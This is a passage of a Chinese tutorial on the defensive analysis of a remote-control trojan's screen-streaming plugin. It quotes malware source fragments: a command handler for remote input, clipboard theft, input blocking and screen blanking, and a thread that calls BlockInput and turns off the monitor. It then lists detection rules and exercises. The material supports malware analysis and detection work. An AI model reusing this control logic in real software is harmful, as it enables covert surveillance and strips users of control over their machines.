jcs.image_height) {unsignedchar* pline = (unsignedchar*)input + jcs.next_scanline * line_stride; jpeg_write_scanlines(&jcs, &pline, 1); } jpeg_finish_compress(&jcs); jpeg_destroy_compress(&jcs);return outlen;}网络检测不能期待看到“屏幕文本”。它更可能看到持续的、大小波动的、压缩后的二进制上行流量。
12. 命令面:哪些能力必须被视为高风险
OnReceive 中包含多类命令:刷新、控制、算法重置、FPS、输入屏蔽、黑屏、分层窗口捕获、剪贴板读取和设置、质量调整等。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:73-139// 防御分析注释:这里是远程屏幕插件的命令面。// 本课只归类风险,不提供任何触发方式。voidCScreenQuickManager::OnReceive(LPBYTE lpBuffer, UINT nSize){if (lpBuffer[0] == TOKEN_HEARTBEAT)return;switch (lpBuffer[0]) {case COMMAND_FLUSH_QUICK:// 刷新画面。break;case COMMAND_SCREEN_CONTROL_QUICK:// 高风险:处理远程控制事件。 ProcessCommand(lpBuffer + 1, nSize - 1);break;case COMMAND_SCREEN_ALGORITHM_RESET:case COMMAND_SCREEN_RESET_QUICK:case COMMAND_SCREEN_FPS_QUICK:// 调整屏幕编码、位深和帧率。break;case COMMAND_SCREEN_BLOCK_INPUT_QUICK:// 高风险:屏蔽本地输入。break;case COMMAND_SCREEN_BLANK_QUICK:// 高风险:控制黑屏状态。break;case COMMAND_SCREEN_CAPTURE_LAYER_QUICK:// 捕获分层窗口,可能扩大隐私暴露范围。break;case COMMAND_SCREEN_GET_CLIPBOARD_QUICK:case COMMAND_SCREEN_SET_CLIPBOARD:// 高风险:读取或写入剪贴板。break; }}其中 ProcessCommand 会处理鼠标和键盘事件,属于远程控制面。本课不展开底层事件注入细节。对企业来说,重点是识别“屏幕采集 + 控制事件 + 输入屏蔽/黑屏”的组合,这通常不应出现在未登记、未授权、无用户提示的进程中。
13. 控制线程:黑屏、输入屏蔽和分辨率变化
控制线程持续运行,用于处理分辨率变化、黑屏状态和输入屏蔽。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:243-275// 防御分析注释:控制线程会持续维护黑屏和输入屏蔽状态。// 这类行为对合法远程协助软件也必须有明确授权和可见提示。unsignedCScreenQuickManager::ControlThread(LPVOID lparam){staticbool bIsScreenBlanked = false; CScreenQuickManager* pThis = (CScreenQuickManager*)lparam; pThis->WaitForDialogOpen();while (pThis->IsConnect()) {if (pThis->IsMetricsChange() && pThis->m_bIsWorking) pThis->ResetScreen(pThis->GetCurrentPixelBits());if (pThis->m_bIsBlankScreen) { SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0); PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); bIsScreenBlanked = true; BlockInput(TRUE); }elseif (bIsScreenBlanked) { SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0); PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1); bIsScreenBlanked = false; BlockInput(FALSE); } Sleep(200); } BlockInput(FALSE);return0;}安全风险在于:这类行为会改变用户对本机的控制能力。合法软件如果需要“黑屏模式”或“屏蔽输入”,应具备强授权、可见提示、会话记录、管理员审批和紧急退出机制。
14. 企业检测点

建议按以下层面建立检测:
GetDCGetDesktopWindow、BitBlt、CreateDIBSection | ||
compress | ||
BlockInputPostMessage 控制显示器 | ||
一个实用的关联逻辑:
进程建立外联连接。 同一进程调用屏幕采集 API。 同一进程调用图像压缩库。 出现持续上行数据。 出现剪贴板或输入屏蔽行为。
如果 1-4 同时满足,已经值得重点关注;如果再叠加第 5 项,应按高风险远程屏幕会话处理。
15. 合法练习题
不运行插件,只阅读源码,画出 WorkThread -> sendFirstScreen -> getFirstScreen -> compress -> Send的调用链。列出 ScreenSpy.cpp中和屏幕采集相关的 GDI API,并说明每个 API 的防御含义。说明本课为什么判断 JPEG 依赖来自 libjpeg-turbo,以及源码调用的是哪一组 jpeg_*API。设计一条企业检测规则:未知进程在 30 秒内调用 BitBlt、JPEG 编码和外联发送时触发告警。站在合法远程协助产品角度,设计“屏蔽输入”和“黑屏模式”的授权与退出机制。 比较一次性截图和持续屏幕流的流量差异,写出网络侧检测思路。
16. 本课小结
高速屏幕插件的主线是:网络连接创建管理器,管理器启动工作线程,CScreenSpy 通过 GDI 采集桌面画面,首帧发送整屏 JPEG,后续帧扫描变化矩形并把小块 JPEG/zlib 压缩后以 TOKEN_* 形式发送。它之所以叫“高速屏幕”,核心在于低延迟优先的连续采集、变化扫描、内存编码和持续发送链路。防御侧要把屏幕采集 API、压缩库、持续上行流量、剪贴板访问、输入屏蔽和黑屏控制组合起来看,而不是孤立地搜索某一个函数名。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
夜雨聆风